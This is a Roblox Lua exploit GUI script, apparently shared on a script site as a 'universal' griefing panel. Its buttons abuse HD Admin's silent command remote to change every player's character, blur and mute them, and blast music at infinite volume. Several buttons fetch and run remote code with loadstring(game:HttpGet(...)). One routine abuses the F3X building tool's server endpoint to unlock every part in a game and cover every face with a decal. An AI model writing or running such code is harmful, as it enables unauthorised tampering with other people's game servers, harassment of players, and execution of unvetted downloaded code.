-- // StarterGui.ScreenGui.ImageLabel.Script.Char all.LocalScript \\ --
local function SCRIPT_50()
local script = UI["50"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";char all k00psin3745")
end)
end
task.spawn(SCRIPT_50)
-- // StarterGui.ScreenGui.ImageLabel.Script.ANTI-SKID.LocalScript \\ --
local function SCRIPT_52()
local script = UI["52"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";blur all ;mute all")
end)
end
task.spawn(SCRIPT_52)
-- // StarterGui.ScreenGui.ImageLabel.Script.Fog.LocalScript \\ --
local function SCRIPT_54()
local script = UI["54"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fog 100 0")
end)
end
task.spawn(SCRIPT_54)
-- // StarterGui.ScreenGui.ImageLabel.Script.Night.LocalScript \\ --
local function SCRIPT_56()
local script = UI["56"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";time 1")
end)
end
task.spawn(SCRIPT_56)
-- // StarterGui.ScreenGui.ImageLabel.Script.Shedletsky.LocalScript \\ --
local function SCRIPT_58()
local script = UI["58"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-f3x-shedletsky-230501"))()
end)
end
task.spawn(SCRIPT_58)
-- // StarterGui.ScreenGui.ImageLabel.Script.polaria.LocalScript \\ --
local function SCRIPT_5a()
local script = UI["5a"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/F3X-Building-Tools-F3x-Polaria-226596"))()
end)
end
task.spawn(SCRIPT_5a)
-- // StarterGui.ScreenGui.ImageLabel.Script.Rotate Parts.LocalScript \\ --
local function SCRIPT_5c()
local script = UI["5c"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-Rotate-Parts-f3x-240243"))()
end)
end
task.spawn(SCRIPT_5c)
-- // StarterGui.ScreenGui.ImageLabel.Script.Swamp Madness.LocalScript \\ --
local function SCRIPT_5e()
local script = UI["5e"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://scriptblox.com/raw/Universal-Script-Swamp-Madness-F3X-232196"))()
end)
end
task.spawn(SCRIPT_5e)
-- // StarterGui.ScreenGui.ImageLabel.Script.job.LocalScript \\ --
local function SCRIPT_60()
local script = UI["60"]
script.Parent.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 139639579473440 ;volume inf")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("137707964386564")
end)
end
task.spawn(SCRIPT_60)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_64()
local script = UI["64"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 87174269808530 ;pitch 0.1 ;volume inf")
end)
end
task.spawn(SCRIPT_64)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_66()
local script = UI["66"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 78446838708757 ;pitch 0.2 ;volume inf")
end)
end
task.spawn(SCRIPT_66)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_68()
local script = UI["68"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 81704507776926 ;volume inf ;pitch 0.9")
end)
end
task.spawn(SCRIPT_68)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_6a()
local script = UI["6a"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1846575559 ;volume inf")
end)
end
task.spawn(SCRIPT_6a)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_6c()
local script = UI["6c"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 127653283576622 ;volume inf")
end)
end
task.spawn(SCRIPT_6c)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_6e()
local script = UI["6e"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 118540910592691 ;pitch 0.2 ;volume inf")
end)
end
task.spawn(SCRIPT_6e)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_70()
local script = UI["70"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 97785416967035 ;volume inf")
end)
end
task.spawn(SCRIPT_70)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_72()
local script = UI["72"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 73293994328169 ;volume inf ;pitch 0.1")
end)
end
task.spawn(SCRIPT_72)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_74()
local script = UI["74"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 86412047196482 ;volume inf")
end)
end
task.spawn(SCRIPT_74)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_76()
local script = UI["76"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 112626671704099 ;volume inf ;pitch 0.2")
end)
end
task.spawn(SCRIPT_76)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_78()
local script = UI["78"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1839246711 ;volume inf")
end)
end
task.spawn(SCRIPT_78)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_7a()
local script = UI["7a"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 95156028272944 ;volume inf ;pitch 0.2")
end)
end
task.spawn(SCRIPT_7a)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_7c()
local script = UI["7c"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 139488665764275 ;volume inf ;pitch 0.9")
end)
end
task.spawn(SCRIPT_7c)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_7e()
local script = UI["7e"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 35930009 ;volume inf")
end)
end
task.spawn(SCRIPT_7e)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_80()
local script = UI["80"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1839270925 ;volume inf")
end)
end
task.spawn(SCRIPT_80)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_82()
local script = UI["82"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 71701207559451 ;volume inf")
end)
end
task.spawn(SCRIPT_82)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_84()
local script = UI["84"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 119124023763505 ;volume inf")
end)
end
task.spawn(SCRIPT_84)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_86()
local script = UI["86"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 135795229390125 ;volume inf ;pitch 0.3")
end)
end
task.spawn(SCRIPT_86)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_88()
local script = UI["88"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 136239974429285 ;volume inf ;pitch 0.2")
end)
end
task.spawn(SCRIPT_88)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_8a()
local script = UI["8a"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 9069609200 ;volume inf")
end)
end
task.spawn(SCRIPT_8a)
-- // StarterGui.ScreenGui.ImageLabel.Theme.Theme.LocalScript \\ --
local function SCRIPT_8c()
local script = UI["8c"]
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 140422297140304 ;volume inf")
end)
end
task.spawn(SCRIPT_8c)
-- // StarterGui.ScreenGui.ImageLabel.ImageButton.LocalScript \\ --
local function SCRIPT_90()
local script = UI["90"]
local RunService = game:GetService("RunService")
local imageLabel = script.Parent
local speed = 15
RunService.RenderStepped:Connect(function(deltaTime)
imageLabel.Rotation = (imageLabel.Rotation + speed * deltaTime) % 360
end)
end
task.spawn(SCRIPT_90)
-- // StarterGui.ScreenGui.ImageLabel.ImageButton.LocalScript \\ --
local function SCRIPT_91()
local script = UI["91"]
local imageButton = script.Parent
local logsFrame = imageButton.Parent:WaitForChild("Logs")
imageButton.MouseButton1Click:Connect(function()
logsFrame.Visible = not logsFrame.Visible
end)
end
task.spawn(SCRIPT_91)
-- // StarterGui.ScreenGui.ImageLabel.ImageLabel.LocalScript \\ --
local function SCRIPT_96()
local script = UI["96"]
local imageLabel = script.Parent
local tweenService = game:GetService("TweenService")
local runService = game:GetService("RunService")
local baseSize = imageLabel.Size
local initialAngle = imageLabel.Rotation ~= 0 and imageLabel.Rotation or -10
imageLabel.ImageColor3 = Color3.fromRGB(255, 170, 0)
local infoSize = TweenInfo.new(
0.8,
Enum.EasingStyle.Sine,
Enum.EasingDirection.InOut,
-1,
true
)
local sizeMeta = {
Size = UDim2.new(
baseSize.X.Scale,
baseSize.X.Offset + 20,
baseSize.Y.Scale,
baseSize.Y.Offset + 12
)
}
tweenService:Create(imageLabel, infoSize, sizeMeta):Play()
local infoRotate = TweenInfo.new(
1.4,
Enum.EasingStyle.Sine,
Enum.EasingDirection.InOut,
-1,
true
)
tweenService:Create(imageLabel, infoRotate, {Rotation = initialAngle + 6}):Play()
local timeCount = 0
runService.RenderStepped:Connect(function(deltaTime)
timeCount = timeCount + deltaTime * 2
local pulseFactor = (math.sin(timeCount) + 1) / 2
imageLabel.ImageTransparency = 0.05 * pulseFactor
end)
end
task.spawn(SCRIPT_96)
-- // StarterGui.ScreenGui.ImageLabel.TextLabel.LocalScript \\ --
local function SCRIPT_98()
local script = UI["98"]
local textLabel = script.Parent
local tweenService = game:GetService("TweenService")
local runService = game:GetService("RunService")
textLabel.TextStrokeTransparency = 0
local baseSize = textLabel.Size
local initialAngle = textLabel.Rotation ~= 0 and textLabel.Rotation or -10
local infoSize = TweenInfo.new(
0.8,
Enum.EasingStyle.Sine,
Enum.EasingDirection.InOut,
-1,
true
)
local sizeMeta = {
Size = UDim2.new(
baseSize.X.Scale,
baseSize.X.Offset + 20,
baseSize.Y.Scale,
baseSize.Y.Offset + 12
)
}
tweenService:Create(textLabel, infoSize, sizeMeta):Play()
local infoRotate = TweenInfo.new(
1.4,
Enum.EasingStyle.Sine,
Enum.EasingDirection.InOut,
-1,
true
)
tweenService:Create(textLabel, infoRotate, {Rotation = initialAngle + 6}):Play()
local timeCount = 0
runService.RenderStepped:Connect(function(deltaTime)
timeCount = timeCount + deltaTime * 2
local colorFactor = (math.sin(timeCount) + 1) / 2
local mainColor = Color3.fromRGB(255, 120 + (colorFactor * 80), 0)
textLabel.TextColor3 = mainColor
local strokeFactor = (math.cos(timeCount * 2) + 1) / 2
textLabel.TextStrokeColor3 = Color3.fromRGB(80 + (strokeFactor * 100), 20, 0)
end)
end
task.spawn(SCRIPT_98)
return UI["1"], require;Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: scriptblox.com, voidedx.vercel.app.
GUI V2 IS HEREEEEEEEEEEEEEEEEE!!!!!!!!!!!!!!!!!

Universal